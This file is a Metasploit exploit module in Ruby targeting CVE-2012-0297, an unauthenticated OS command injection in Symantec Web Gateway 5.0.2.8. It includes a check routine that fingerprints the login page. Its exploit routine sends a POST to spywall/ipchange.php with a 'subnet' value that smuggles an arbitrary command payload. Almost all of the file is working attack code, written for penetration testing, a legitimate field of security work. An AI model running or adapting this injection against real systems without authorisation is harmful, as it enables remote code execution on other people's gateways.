metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_exec.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service due to the insecure usage of the exec() function. This module
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Tenable Network Security, Vulnerability Discovery
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'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0297' ],
[ 'OSVDB', '82925' ],
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[ 'BID', '53444' ],
[ 'ZDI', '12-090' ],
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[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x26",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end
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def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})
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if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
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def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
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peer = "#{rhost}:#{rport}"
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post_data = "subnet="
post_data << "\";" + payload.raw + ";#"
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print_status("Sending Command injection")
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res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'spywall/ipchange.php'),
'data' => post_data
})
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# If the server doesn't return the default redirection, probably
# something is wrong
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
print_error("Probably command not executed, aborting!")
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return
end
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end
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end